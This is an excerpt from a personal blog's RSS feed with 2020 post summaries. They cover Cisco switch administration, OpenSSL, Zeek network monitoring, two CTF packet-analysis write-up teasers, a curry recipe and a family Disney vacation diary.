oil&lt;/li&gt;&#xA;&lt;li&gt;Add pinch of salt to taste&lt;/li&gt;&#xA;&lt;li&gt;Brown 2 cloves garlic&lt;/li&gt;&#xA;&lt;li&gt;Add 3 tbs Thai Red Curry paste&lt;/li&gt;&#xA;&lt;li&gt;Add 1 can regular coconut milk (stir often)&lt;/li&gt;&#xA;&lt;li&gt;Add 1/2 cup water&lt;/li&gt;&#xA;&lt;li&gt;Add 1 1/2 tsp sugar&lt;/li&gt;&#xA;&lt;li&gt;Add 1 tbs soy sauce&lt;/li&gt;&#xA;&lt;li&gt;Add 2 tsp lime juice&lt;/li&gt;&#xA;&lt;li&gt;Simmer over medium heat for 5 to 10 minutes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;mix&#34;&gt;Mix&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mix Rice, vegetables, and curry together and serve.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-11-08-14-54-31.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using OpenSSL to create and validate self-signed certificate in one command</title>
      <link>https://jasonmurray.org/posts/2020/openssl/</link>
      <pubDate>Sat, 07 Nov 2020 15:00:51 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/openssl/</guid>
      <description>&lt;h2 id=&#34;single-command-with-all-options-and-no-password-fully-automated&#34;&gt;Single command with all options and no password (fully automated)&lt;/h2&gt;&#xA;&lt;p&gt;Command:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj &amp;#34;/C=US/ST=Missouuri/L=St. Louuis/O=Company Name/OU=Org/CN=www.example.com&amp;#34;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Full output:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~/test $ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj &amp;#34;/C=US/ST=Missouuri/L=St. Louuis/O=Company Name/OU=Org/CN=www.example.com&amp;#34;&#xA;Generating a 4096 bit RSA private key&#xA;...................................................++&#xA;...................................++&#xA;writing new private key to &amp;#39;key.pem&amp;#39;&#xA;-----&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;single-command-with-password-and-manual-information-entry&#34;&gt;Single command with password and manual information entry&lt;/h2&gt;&#xA;&lt;p&gt;Command:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Switching from EverNote to Notion?</title>
      <link>https://jasonmurray.org/posts/2020/notion/</link>
      <pubDate>Fri, 06 Nov 2020 16:01:20 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/notion/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve spent the past 10 years on Evernote.  Handwriting recognition and a clean interface kept me renewing my subscription year after year.  This past year the mobile interface is not as snappy as it once was.   It takes seconds to start a new note.  With a few months left before the annual renewal, I thought it was time to evaluate something different.&lt;/p&gt;&#xA;&lt;p&gt;Enter &lt;a href=&#34;https://www.notion.so/&#34;&gt;Notion&lt;/a&gt;.  Right out of the gate, importing EverNote and all my MarkDown files was a painless process:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Installing iperf3 on a Cisco 9K</title>
      <link>https://jasonmurray.org/posts/2020/iperf3cisco9k/</link>
      <pubDate>Thu, 05 Nov 2020 08:13:12 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/iperf3cisco9k/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Running a custom built &lt;code&gt;iperf3&lt;/code&gt; Docker image on the Cisco Catalyst 9300 series platform.&lt;/p&gt;&#xA;&lt;p&gt;Reference guide: &lt;a href=&#34;https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/prog/configuration/171/b_171_programmability_cg/application_hosting.html&#34;&gt;https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/prog/configuration/171/b_171_programmability_cg/application_hosting.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;create-the-docker-image&#34;&gt;Create the Docker image&lt;/h1&gt;&#xA;&lt;p&gt;Create the Dockerfile:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;FROM alpine:latest&#xA;&#xA;MAINTAINER Jason Murray&#xA;&#xA;# build intial apk binary cache and install iperf3&#xA;RUN apk add --no-cache iperf3 \&#xA;    &amp;amp;&amp;amp; adduser -S iperf&#xA;&#xA;USER iperf&#xA;&#xA;# Expose the default iperf3 server ports&#xA;EXPOSE 5201/tcp 5201/udp&#xA;&#xA;# entrypoint allows you to pass your arguments to the container at runtime&#xA;# very similar to a binary you would run. For example, in the following&#xA;# docker run -it &amp;lt;IMAGE&amp;gt; --help&amp;#39; is like running &amp;#39;iperf --help&amp;#39;&#xA;ENTRYPOINT [&amp;#34;iperf3&amp;#34;]&#xA;&#xA;# iperf3 -s = run in Server mode&#xA;CMD [&amp;#34;-s&amp;#34;]&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Create the Docker image:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Setting up an OpenSSH bastion host for an entire DNS domain</title>
      <link>https://jasonmurray.org/posts/2020/sshproxy/</link>
      <pubDate>Wed, 04 Nov 2020 16:36:19 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/sshproxy/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Remote administration via &lt;code&gt;ssh&lt;/code&gt; is a standard practice for many unix based servers or networking devices.  Protecting this critical infrastructure by provisioning internal devices on &lt;code&gt;RFC1918&lt;/code&gt; IP space and/or limiting inbound connections to specific &lt;code&gt;bastion&lt;/code&gt; or &lt;code&gt;jump-hosts&lt;/code&gt; is a common method to limit external exposure.&lt;/p&gt;&#xA;&lt;p&gt;Bastion hosts are security hardened devices who&amp;rsquo;s sole purpose is to act as a gateway into the production environment.  These servers should be stripped down to essential services and patched on a regular basis. The server typically sits between the untrusted and trusted network, as shown in the diagram below:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Cisco aaa authorization exec needed to transfer files</title>
      <link>https://jasonmurray.org/posts/2020/ciscoexecmode/</link>
      <pubDate>Tue, 03 Nov 2020 15:08:48 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/ciscoexecmode/</guid>
      <description>&lt;p&gt;Error:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~/Downloads $ scp -c aes128-cbc c3560c405-universalk9-mz.152-2.E10.bin 192.168.86.42:&#xA;Password:&#xA;Privilege denied.&#xA;jemurray@mbp-2019:~/Downloads $ client_loop: send disconnect: Broken pipe&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Fix:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;aaa authorization exec default local&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Try again:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~/Downloads $ scp -c aes128-cbc c3560c405-universalk9-mz.152-2.E10.bin 192.168.86.42:c3560c405-universalk9-mz.152-2.E10.bin&#xA;Password:&#xA;c3560c405-universalk9-mz.152-2.E10.bin     3%  624KB  58.0KB/s   05:23 ETA &#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Disney World Family Vacation Day Eight</title>
      <link>https://jasonmurray.org/posts/2020/wdw2020day8/</link>
      <pubDate>Mon, 02 Nov 2020 18:43:03 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/wdw2020day8/</guid>
      <description>&lt;p&gt;The Murray&amp;rsquo;s are boarding a bus to the airport.  Time to fly home.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/IMG_1206.jpg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_1206.jpg&#34; alt=&#34;Walt Disney World Family Photo&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Disney World Family Vacation Day Seven</title>
      <link>https://jasonmurray.org/posts/2020/wdw2020day7/</link>
      <pubDate>Sun, 01 Nov 2020 18:43:03 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/wdw2020day7/</guid>
      <description>&lt;p&gt;The final day of the Murray family vacation is spent at Hollywood studios.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/IMG_1190.jpg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_1190.jpg&#34; alt=&#34;Walt Disney World Family Photo&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Disney World Family Vacation Day Six</title>
      <link>https://jasonmurray.org/posts/2020/wdw2020day6/</link>
      <pubDate>Sat, 31 Oct 2020 18:43:03 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/wdw2020day6/</guid>
      <description>&lt;p&gt;Happy Halloween!  The Murray&amp;rsquo;s are back to Magic Kingdom.  The kids tell me the sun is too bright.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/IMG_1189.jpg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_1189.jpg&#34; alt=&#34;Walt Disney World Family Photo&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Disney World Family Vacation Day Five</title>
      <link>https://jasonmurray.org/posts/2020/wdw2020day5/</link>
      <pubDate>Fri, 30 Oct 2020 18:43:03 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/wdw2020day5/</guid>
      <description>&lt;p&gt;Animal Kingdom on day five of the Murray family vacation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/IMG_1154.jpg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_1154.jpg&#34; alt=&#34;Walt Disney World Family Photo&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Disney World Family Vacation Day Four</title>
      <link>https://jasonmurray.org/posts/2020/wdw2020day4/</link>
      <pubDate>Thu, 29 Oct 2020 18:43:03 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/wdw2020day4/</guid>
      <description>&lt;p&gt;Hollywood Studios is where the Murray&amp;rsquo;s spend day four of their family vacation.  (pew pew)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/IMG_1131.jpg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_1131.jpg&#34; alt=&#34;Walt Disney World Family Photo&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We did get tickets to Star Wars: Rise of the Resistance.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/IMG_1117.PNG&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_1117.PNG&#34; alt=&#34;Walt Disney World Family Photo&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The attention to detail is incredible:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/IMG_1128.jpg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_1128.jpg&#34; alt=&#34;Walt Disney World Family Photo&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Disney World Family Vacation Day Three</title>
      <link>https://jasonmurray.org/posts/2020/wdw2020day3/</link>
      <pubDate>Wed, 28 Oct 2020 18:43:03 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/wdw2020day3/</guid>
      <description>&lt;p&gt;The Murray family is at Epcot for day three of our week long vacation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/IMG_1090.jpg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_1090.jpg&#34; alt=&#34;Walt Disney World Family Photo&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Disney World Family Vacation Day Two</title>
      <link>https://jasonmurray.org/posts/2020/wdw2020day2/</link>
      <pubDate>Tue, 27 Oct 2020 18:43:03 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/wdw2020day2/</guid>
      <description>&lt;p&gt;Day two of the Murray family vacation begins at Disney&amp;rsquo;s Magic Kingdom.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/IMG_1068.jpg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_1068.jpg&#34; alt=&#34;Walt Disney World Family Photo&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Disney World Family Vacation Day One</title>
      <link>https://jasonmurray.org/posts/2020/wdw2020day1/</link>
      <pubDate>Mon, 26 Oct 2020 18:43:03 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/wdw2020day1/</guid>
      <description>&lt;p&gt;The family vacation begins.   Waiting to board our plane to Disney World.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/IMG_1065.jpg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_1065.jpg&#34; alt=&#34;Walt Disney World Family Photo&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>A break</title>
      <link>https://jasonmurray.org/posts/2020/abreak/</link>
      <pubDate>Mon, 26 Oct 2020 09:04:30 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/abreak/</guid>
      <description>&lt;p&gt;On April 17, 2020 I set a goal to create one post per day for no less than one year.  What a year it has been.   Corona virus is still going strong.  Donald Trump is unfortunately still president.  My wife’s cancer returned.  Both my kids are in high school.  It has been a wild ride.  To be fair, my family is still doing well.  The COVID-19 pandemic has not impacted our lives in a way that we can&amp;rsquo;t handle.  For that we are blessed.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Enable scp copies TO a Cisco device</title>
      <link>https://jasonmurray.org/posts/2020/ciscoscpdisabled/</link>
      <pubDate>Sun, 25 Oct 2020 08:02:23 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/ciscoscpdisabled/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;The &lt;code&gt;scp&lt;/code&gt; server is disabled by default on Cisco switches and routers.  Enable &lt;code&gt;scp&lt;/code&gt; to push files to the device.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Error:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~/Downloads $ scp -c aes128-cbc c3560c405-universalk9-mz.152-2.E10.bin 192.168.86.42:c3560c405-universalk9-mz.152-2.E10.bin&#xA;Password:&#xA;Administratively disabled.&#xA;jemurray@mbp-2019:~/Downloads $ client_loop: send disconnect: Broken pipe&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Fix:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ip scp server enable&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Try again:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~/Downloads $ scp -c aes128-cbc c3560c405-universalk9-mz.152-2.E10.bin 192.168.86.42:c3560c405-universalk9-mz.152-2.E10.bin&#xA;Password:&#xA;c3560c405-universalk9-mz.152-2.E10.bin     3%  624KB  58.0KB/s   05:23 ETA &#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Pasting images into Hugo markdown with vsCode on macOS</title>
      <link>https://jasonmurray.org/posts/2020/vscodepasteimage/</link>
      <pubDate>Sat, 24 Oct 2020 10:54:40 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/vscodepasteimage/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Paste images directly into markdown code with the vsCode &lt;a href=&#34;https://marketplace.visualstudio.com/items?itemName=mushan.vscode-paste-image&#34;&gt;Paste Image plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Before this plugin, adding images to Hugo markdown code required:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Capturing the picture&lt;/li&gt;&#xA;&lt;li&gt;Move the picture into the static directory&lt;/li&gt;&#xA;&lt;li&gt;Rename the picture&lt;/li&gt;&#xA;&lt;li&gt;Add the markdown code with the proper picture name.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;After the Paste Image plugin:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Capture the picture&lt;/li&gt;&#xA;&lt;li&gt;Right click image and save to the clipboard&lt;/li&gt;&#xA;&lt;li&gt;Paste image into markdown (everything else is automatic)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;My Hugo directory structure is setup like this:&lt;/p&gt;</description>
    </item>
    <item>
      <title>SSH: no matching cipher found</title>
      <link>https://jasonmurray.org/posts/2020/ciscooldssh/</link>
      <pubDate>Fri, 23 Oct 2020 05:55:47 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/ciscooldssh/</guid>
      <description>&lt;p&gt;On occasion we run across an old Cisco switch that throws the following error when connecting via &lt;code&gt;ssh&lt;/code&gt; from a modern client:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ ssh 192.168.86.42&#xA;Unable to negotiate with 192.168.86.42 port 22: no matching cipher found. Their offer: aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The best solution is to upgrade the software on the switch to something more modern.  If that is not possible, use the &lt;code&gt;-c&lt;/code&gt; option with &lt;code&gt;ssh&lt;/code&gt; to select one of the ciphers presented in the &lt;code&gt;Their offer:&lt;/code&gt; section:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Upgrading a Cisco 9300 to 17.3.1</title>
      <link>https://jasonmurray.org/posts/2020/upgradecat9k/</link>
      <pubDate>Thu, 22 Oct 2020 09:52:21 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/upgradecat9k/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Steps necessary to upgrade a Cisco 9300 (C9300L-48UXG-4X) from 16.12.x to 17.3.1.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Remove old files:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;9300-1#install remove inactive&#xA;install_remove: START Thu Oct 22 14:50:36 UTC 2020&#xA;Cleaning up unnecessary package files&#xA;No path specified, will use booted path flash:packages.conf&#xA;Cleaning flash:&#xA;  Scanning boot directory for packages ... done.&#xA;  Preparing packages list to delete ...&#xA;    cat9k-cc_srdriver.16.12.02.SPA.pkg&#xA;      File is in use, will not delete.&#xA;    cat9k-espbase.16.12.02.SPA.pkg&#xA;      File is in use, will not delete.&#xA;    cat9k-guestshell.16.12.02.SPA.pkg&#xA;      File is in use, will not delete.&#xA;    cat9k-rpbase.16.12.02.SPA.pkg&#xA;      File is in use, will not delete.&#xA;    cat9k-rpboot.16.12.02.SPA.pkg&#xA;      File is in use, will not delete.&#xA;    cat9k-sipbase.16.12.02.SPA.pkg&#xA;      File is in use, will not delete.&#xA;    cat9k-sipspa.16.12.02.SPA.pkg&#xA;      File is in use, will not delete.&#xA;    cat9k-srdriver.16.12.02.SPA.pkg&#xA;      File is in use, will not delete.&#xA;    cat9k-webui.16.12.02.SPA.pkg&#xA;      File is in use, will not delete.&#xA;    cat9k-wlc.16.12.02.SPA.pkg&#xA;      File is in use, will not delete.&#xA;    packages.conf&#xA;      File is in use, will not delete.&#xA;  done.&#xA;&#xA;The following files will be deleted:&#xA;[switch 1]:&#xA;/flash/cat9k_iosxe.17.03.01.SPA.bin&#xA;&#xA;Do you want to remove the above files? [y/n]y&#xA;&#xA;[switch 1]:&#xA;Deleting file flash:cat9k_iosxe.17.03.01.SPA.bin ... done.&#xA;SUCCESS: Files deleted.&#xA;--- Starting Post_Remove_Cleanup ---&#xA;Performing Post_Remove_Cleanup on all members&#xA;  [1] Post_Remove_Cleanup package(s) on switch 1&#xA;  [1] Finished Post_Remove_Cleanup on switch 1&#xA;Checking status of Post_Remove_Cleanup on [1]&#xA;Post_Remove_Cleanup: Passed on [1]&#xA;Finished Post_Remove_Cleanup&#xA;&#xA;SUCCESS: install_remove  Thu Oct 22 14:51:41 UTC 2020&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Copy new image to flash (265Kb/s is S L O W):&lt;/p&gt;</description>
    </item>
    <item>
      <title>Erasing everything on Cisco IOS flash storage</title>
      <link>https://jasonmurray.org/posts/2020/ciscoeraseflash/</link>
      <pubDate>Wed, 21 Oct 2020 07:11:19 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/ciscoeraseflash/</guid>
      <description>&lt;p&gt;Files on the &lt;code&gt;flash:&lt;/code&gt; storage before erasing:&lt;/p&gt;&#xA;&lt;p&gt;3560sw-1#dir flash:&#xA;Directory of flash:/&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2  -rwx         736   Mar 1 1993 00:10:59 +00:00  vlan.dat&#xA;3  drwx         512   Mar 1 1993 00:13:49 +00:00  c3560-ipservicesk9-mz.122-58.SE1&#xA;5  -rwx         850   Mar 1 1993 00:07:11 +00:00  config.text&#xA;6  -rwx           5   Mar 1 1993 00:07:11 +00:00  private-config.text&#xA;7  -rwx        2072   Mar 1 1993 00:07:11 +00:00  multiple-fs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;27998208 bytes total (9958400 bytes free)&lt;/p&gt;&#xA;&lt;p&gt;Erasing flash:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;3560sw-1#erase flash:&#xA;Erasing the flash filesystem will remove all files! Continue? [confirm]&#xA;mifs[4]: 0 files, 1 directories&#xA;mifs[4]: Total bytes     : 27998208&#xA;mifs[4]: Bytes used      : 1024&#xA;mifs[4]: Bytes available : 27997184&#xA;mifs[4]: mifs fsck took 0 seconds.&#xA;&#xA;Erase of flash: complete&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;flash:&lt;/code&gt; is empty:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Catching script execution failures with a semicolon</title>
      <link>https://jasonmurray.org/posts/2020/catchingfailures/</link>
      <pubDate>Tue, 20 Oct 2020 06:27:35 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/catchingfailures/</guid>
      <description>&lt;p&gt;In &lt;code&gt;bash&lt;/code&gt; shell scripting, the &lt;code&gt;;&lt;/code&gt; (seimicolon) is know as the command separator.  It separates two commands that run sequentially, one after the other. For example: &lt;code&gt;command-one; command-two&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;By using the &lt;code&gt;;&lt;/code&gt;, we can create a &lt;code&gt;watch-dog&lt;/code&gt; script to send out an alert if the previous command stops executing.  In this example, I want to be notified if the &lt;code&gt;./longRunningScript.py&lt;/code&gt; exits for any reason:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;./longRunningScript.py; echo &amp;#34;The script ended&amp;#34; | mail -s &amp;#34;Ut oh, the script ended unexpectedly!&amp;#34; -S smtp=smtp://mail.example.com -v jemurray@example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A few hours later I received an email from the &lt;code&gt;watch-dog&lt;/code&gt;.  After reviewing the console output, it looks like a login failure caused the script to crash:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Zeek Week 2020 - CTF sudo su writeup</title>
      <link>https://jasonmurray.org/posts/2020/zeekweeksudosu/</link>
      <pubDate>Mon, 19 Oct 2020 06:00:35 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/zeekweeksudosu/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/posts/2020/zeekweekmanormachine/&#34;&gt;Yesterday I posted about my first ZeekWeek Capture the Flag challenge&lt;/a&gt;.  Today we walk through the details to solve the second CFT challenge.&lt;/p&gt;&#xA;&lt;p&gt;Using a packet capture from an &lt;code&gt;ssh&lt;/code&gt; session, determine the length of the password entered on the command line.  The following details were given:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The user SSHed into a system&lt;/li&gt;&#xA;&lt;li&gt;Public keys performed the initial authentication (ie. no password)&lt;/li&gt;&#xA;&lt;li&gt;The user typed: &lt;code&gt;sudo su&lt;/code&gt; + &lt;code&gt;&amp;lt;their password&amp;gt;&lt;/code&gt; + &lt;code&gt;^d^d&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;With this information, I set out to reproduce the same scenario.  I would &lt;code&gt;ssh&lt;/code&gt; into my lab server and reproduce exactly what the CTF challenge did. Then, compare my pattern of packets to their pattern of packets.  I presumed there should be obvious similarities between the two captures.  If you have not reviewed &lt;a href=&#34;https://jasonmurray.org/posts/2020/zeekweekmanormachine/&#34;&gt;yesterdays CTF&lt;/a&gt;, now is a good time.  I talk about using changes in patterns to solve puzzles like these.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Zeek Week 2020 - CTF Man or Machine writeup</title>
      <link>https://jasonmurray.org/posts/2020/zeekweekmanormachine/</link>
      <pubDate>Sun, 18 Oct 2020 12:57:10 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/zeekweekmanormachine/</guid>
      <description>&lt;p&gt;This past week I was lucky enough to participate in the ZeekWeek 2020 capture the flag challenge.   These are excellent events to pick up a new or hone an existing security related skill.  By sharing the thought process behind solving one of these challenges, you get a window into the mind of the people who play, the tools required, and the skills they possess.  This is my writeup behind solving challenge #1.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Install Zeek packages with zkg</title>
      <link>https://jasonmurray.org/posts/2020/zkg/</link>
      <pubDate>Sat, 17 Oct 2020 09:33:18 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/zkg/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/posts/2020/installzeek/&#34;&gt;Previously&lt;/a&gt; we installed Zeek (with Python3 support).  Today we will extend Zeek with 3rd party community scripts and plugins .  To facilitate searching for and installing packages, the Zeek community developed the &lt;a href=&#34;https://packages.zeek.org/&#34;&gt;Zeek package manager&lt;/a&gt; software.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Ubuntu 20.04 is the base operating system Zeek is installed on.  There is no longer support for pip in Python 2.  Python3 is required:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt install python3-pip&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Install &lt;code&gt;zkg&lt;/code&gt; in /usr/local/bin:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo pip3 install zkg&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Start the basic config:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Installing and running Zeek at home</title>
      <link>https://jasonmurray.org/posts/2020/installzeek/</link>
      <pubDate>Fri, 16 Oct 2020 05:31:10 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/installzeek/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;What are the devices in your house communicating with?  How many different services do your security cameras send information to?  Is your TV sending data to foreign countries?  What are the kids doing while your gone?   Are there any large file transfers happening to places you don&amp;rsquo;t recognize?  Are there any open connections to SSH or RDP ports you are not aware of?&lt;/p&gt;&#xA;&lt;p&gt;By TAPing and redirecting all traffic entering or leaving the network to a &lt;a href=&#34;https://zeek.org/&#34;&gt;Zeek&lt;/a&gt; server, we can start to answer these questions.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Import SSH key from GitHub during Ubuntu install</title>
      <link>https://jasonmurray.org/posts/2020/ubuntuautosshkey/</link>
      <pubDate>Thu, 15 Oct 2020 06:16:09 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/ubuntuautosshkey/</guid>
